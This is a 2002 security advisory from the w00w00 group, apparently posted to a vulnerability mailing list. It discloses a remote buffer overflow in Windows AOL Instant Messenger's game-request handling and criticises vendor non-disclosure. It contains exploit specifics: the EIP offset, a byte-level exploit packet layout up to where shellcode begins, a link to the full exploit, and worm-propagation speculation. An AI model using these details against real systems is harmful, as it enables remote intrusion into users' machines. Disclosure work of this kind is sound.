OSEC

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From: Chris Wysopal (weldvulnwatch.org)
Date: Wed Jan 02 2002 - 09:20:06 CST

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                     =================================
                      AOL Instant Messenger overflow
                       w00w00! http://www.w00w00.org
                     =================================

    Author: Matt Conover (shokdataforce.net)
    Contributors: nocarrier, napster, and w00w00 collectively

    PRELUDE

    Happy w00year! It has been a while, friends, but w00w00 is still going
    strong! w00w00 is over three years old now and still boasts the title
    of the world's largest non-profit security team. One thing remains
    true about the world of w00w00, though: we love to shake things up.

    We'd like to take a moment and make an important point. Due to
    unfortunate circumstances, the environment of the security industry
    has changed for the worse. Most major vendors and security companies
    have all switched their policies to limited disclosure, leaving the
    end users still vulnerable to serious software flaws. Big corporate
    monopolists: 1, end-users cornered into using second-rate software: 0.
    Why? Two big reasons: the DMCA and using patriotism as an excuse to
    avoid disclosing vulnerabilities.

    First, the Digital Millenium Copyright Act affects circumvention of
    anti-piracy mechanisms and reverse engineering. If a product is
    released in binary form only (i.e., AOL Instant Messenger) to
    protect its technologies and one attempts to reverse engineer the
    file, it's a violation of the DMCA. It's no question who the
    lobbyists behind this law were: the big corporations. Not
    surprisingly, AOL Time Warner was one of the DMCA's biggest
    supporters. Find out more information about the DMCA at
    http://www.anti-dcma.org.

    Second, Microsoft has "decried" information anarchy. Many major
    security companies have followed suit and the rest just bent to the
    pressure. However, blaming security research teams, such as w00w00,
    for releasing information on vulnerabilities is a cop-out. Whether or
    not security research teams release information on vulnerabilities, it
    doesn't change the fact that the vendor produced insecure software.
    Vulnerabilities are still exploited in the same way they were by the
    Internet Worm 13 years ago. Further, one can reasonably assume that a
    fair number of hackers are exploiting unpublished vulnerabilities.
    By only silently updating products, computer users are unknowingly left
    vulnerable.

    DESCRIPTION

    AOL Instant Messenger (AIM) has a major security vulnerability in the
    latest stable (4.7.2480) and beta (4.8.2616) Windows versions. This
    vulnerability will allow remote penetration of the victim's system
    without any indication as to who performed the attack. There is no
    opportunity to refuse the request. This does not affect the
    non-Windows versions, because the non-Windows versions currently do
    not yet support the feature that this vulnerability occurs in.

    This particular vulnerability results from an overflow in the code
    that parses a game request. The actual overflow appears to be in the
    parsing of TLV type 0x2711. This may be more generic and exploitable
    through other means, but AOL has not released enough information about
    their protocol for us to be able to determine that. Robbie Saunder's
    email yesterday should be enough of a hint which direction to look in.

    We contacted the AOL Instant Messenger group and AOL security but
    never received a response. Normally we would be inclined to provide a
    fix, but it is illegal to reverse engineer the AIM executable (with the
    DMCA and AIM's license agreement to thank), so we are unable to provide
    a patch which will modify it. Instead, we recommend Robbie Saunder's
    AIM Filter (http://www.ssnbc.com/wiz) to protect yourselves.
    A temporary solution is to go into your Preferences and in the Privacy
    section click "Allow Only Users on My Buddy List" under "Who can
    contact me."

    IMPLICATIONS

    AOL Instant Messenger (http://www.aim.com) has over 100 million users.
    We think that deserves repeating: 100 million users. Almost all of
    these users are Windows users and directly vulnerable to this.

    The first implication is that AOL should feel the weight of
    responsibility and employ better software development practices. The
    developers of a product with so many users should be much more
    cautious and avoid overbloating with a multitude of features they
    didn't have time to properly test in the first place.

    Overall, though, the implications of this vulnerability are huge and
    leave the door wide open for a worm not unlike those that Microsoft
    (*cough* corporate monopoly *cough*) Outlook, IIS, et al. have all had
    (Melissa, ILOVEYOU, CodeRed, nimda, etc.). An exploit could easily be
    amended to download itself off the web, determine the buddies of the
    victim, and then attack them also. Given the general nature of social
    networks and how they are structured, we predict that it wouldn't take
    long for such an attack to propagate.

    To top everything off, the particular overflow described supra is
    relatively simple to exploit. The payload can be several thousand bytes
    long, which leaves lots of room for creative shellcode. In addition,
    the shellcode can have null bytes in it, as long as the shellcode is
    located after the offset to EIP in the shellcode. That is, the offset
    to EIP is 1723 bytes into TLV type 0x2711. So if the shellcode is
    located after offset 1726, null bytes can be left in.

    EXPLOIT

    The exploit, w00aimexp, is too big (1000+ lines) to include here, but
    it can be downloaded at http://www.w00w00.org/files/w00aimexp.tgz. The
    files can be viewed online at http://www.w00w00.org/files/w00aimexp/.

    This is the exploit packet generated by w00aimexp (without
    USE_FULL_SIZE defined):

    FLAP header (6 bytes)
    [\x2a] '*' (magic number)
    [\x02] channel (data)
    [\x00\x11] seqnum number
    [\x07\x87] packet length (1927 bytes)

    SNAC header (10 bytes)
    [\x00\x04] SNAC family (message)
    [\x00\x06] SNAC type (outgoing message)
    [\x00\x00] SNAC flags (none)
    [\x00\x00\x00\x09] SNAC ID

    [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie

    [\x00\x02] SNAC channel (data)

    [\x0c] victim screen name length
    [\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name

    Now a set of TLV data types. There is a base container, type 0x05,
    that contains everything else. Inside of this are several smaller
    containers, with each TLV type following immediately after the
    previous. If those are misaligned, you'll receive a "busted SNAC
    payload" error.

    [\x00\x05] TLV type (0x05)
    [\x07\x62] TLV length (1890 bytes)

    [\x00\x00] cookie marker
    [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie

    Capability used to exploit this libfaim calls it (SAVESTOCKS):
    [\x09\x46\x13\x47\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00]

    [\x00\x0a] TLV type (0x0a)
    [\x00\x02] TLV length (2 bytes)
    [\x00\x01] TLV data

    [\x00\x0f] TLV type (0x0f)
    [\x00\x00] TLV length (0)

    [\x00\x0e] TLV type (0x0e)
    [\x00\x02] TLV length (2 bytes)
    ["en"] TLV data (language)

    [\x00\x0d] TLV type (0x0d)
    [\x00\x08] TLV length (8 bytes)
    ["us-ascii"] TLV data (charset)

    [\x00\x0c] TLV type (0x0d)
    [\x00\x06] TLV length (6 bytes)
    ["w00w00"] TLV data (game's name?)

    [\x00\x03] TLV type (0x03)
    [\x00\x04] TLV length (4 bytes)
    [\x40\xa3\x1e\x4f]

    [\x00\x05] TLV type (0x05)
    [\x00\x02] TLV length (2 byte)
    [\x14\x46]

    [\x00\x07] TLV type (0x07)
    [\x00\x4d] TLV length (77 bytes)
    ["aim:AddGame?name=w00w00&go1st=true&multiplayer=true&url=http://www.w00w00.org"]

    [\x27\x11] TLV type (0x2711)
    [\x06\xbf] TLV length (22 + length of our shellcode = 1727 bytes)
    [\x00\x00\x02\x00\x05\x07\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53
    \x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]